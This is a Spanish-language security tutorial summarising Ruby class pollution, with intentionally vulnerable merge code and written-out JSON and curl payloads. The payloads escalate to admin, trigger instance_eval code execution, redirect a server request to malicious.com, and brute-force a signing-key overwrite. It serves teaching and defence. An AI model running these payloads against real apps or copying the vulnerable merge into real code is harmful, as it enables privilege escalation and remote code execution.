Ruby Class Pollution

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Esto es un resumen del post https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html

Merge on Attributes

Ejemplo:

# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
require 'json'


# Base class for both Admin and Regular users
class Person

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end

private

# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|

if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end

protected

def check_cpu
puts "CPU check passed."
end

def check_memory
puts "Memory check passed."
end
end

# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)


# Perform a recursive merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize

# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check

end
end

if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

Explicación

  1. Privilege Escalation: El método authorize verifica si to_s devuelve “Admin.” Al inyectar un nuevo atributo to_s a través de JSON, un atacante puede hacer que el método to_s devuelva “Admin”, otorgando privilegios no autorizados.
  2. Remote Code Execution: En health_check, instance_eval ejecuta métodos listados en protected_methods. Si un atacante inyecta nombres de método personalizados (como "puts 1"), instance_eval los ejecutará, conduciendo a remote code execution (RCE).
  3. Esto solo es posible porque existe una instrucción eval vulnerable que ejecuta el valor de cadena de ese atributo.
  4. Limitación del impacto: Esta vulnerabilidad solo afecta a instancias individuales, dejando otras instancias de User y Admin sin afectar, limitando así el alcance de la explotación.

Casos del mundo real

ActiveSupport’s deep_merge

This isn’t vulnerable by default but can be made vulnerable with something like:

# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)

merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end

self
end

Hashie’s deep_merge

El método deep_merge de Hashie opera directamente sobre atributos de objetos en lugar de hashes simples. Evita la sustitución de métodos por atributos durante una fusión con algunas excepciones: los atributos que terminan en _, ! o ? aún pueden fusionarse en el objeto.

Un caso especial es el atributo _ por sí solo. El simple _ es un atributo que normalmente devuelve un objeto Mash. Y dado que forma parte de las excepciones, es posible modificarlo.

Mira el siguiente ejemplo: pasando {"_": "Admin"} se puede bypass _.to_s == "Admin":

require 'json'
require 'hashie'

# Base class for both Admin and Regular users
class Person < Hashie::Mash

# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end

# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

end

# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})

# Perform a deep merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end

if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

Hashie deep_merge mutation regression (2025): En Hashie 5.0.0, Hashie::Extensions::DeepMerge#deep_merge mutaba los sub-hashes anidados en el receptor en lugar de duplicarlos. Mezclar datos controlados por un atacante en objetos de larga duración podía por tanto persistir cambios entre peticiones, contaminando instancias previamente “seguras”. El comportamiento se corrigió en 5.0.1.

Poison the Classes

En el siguiente ejemplo es posible encontrar la clase Person, y las clases Admin y Regular que heredan de la clase Person. También tiene otra clase llamada KeySigner:

require 'json'
require 'sinatra/base'
require 'net/http'

# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

def self.url
@@url
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

private

# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end

class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end

# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"

def self.signing_key
@@signing_key
end

def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end

class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)

user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)

user.merge_with(json_input)

{ status: 'merged' }.to_json
end

# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json

# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end

# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge

# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json

# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end

# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done

# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json

{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end

run! if app_file == $0
end

Poison Parent Class

Con este payload:

curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge

Es posible modificar el valor del atributo @@url de la clase padre Person.

Poisoning Other Classes

Con este payload:

for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done

Es posible brute-force las clases definidas y en algún momento envenenar la clase KeySigner modificando el valor de signing_key por injected-signing-key.\

Referencias

Tip

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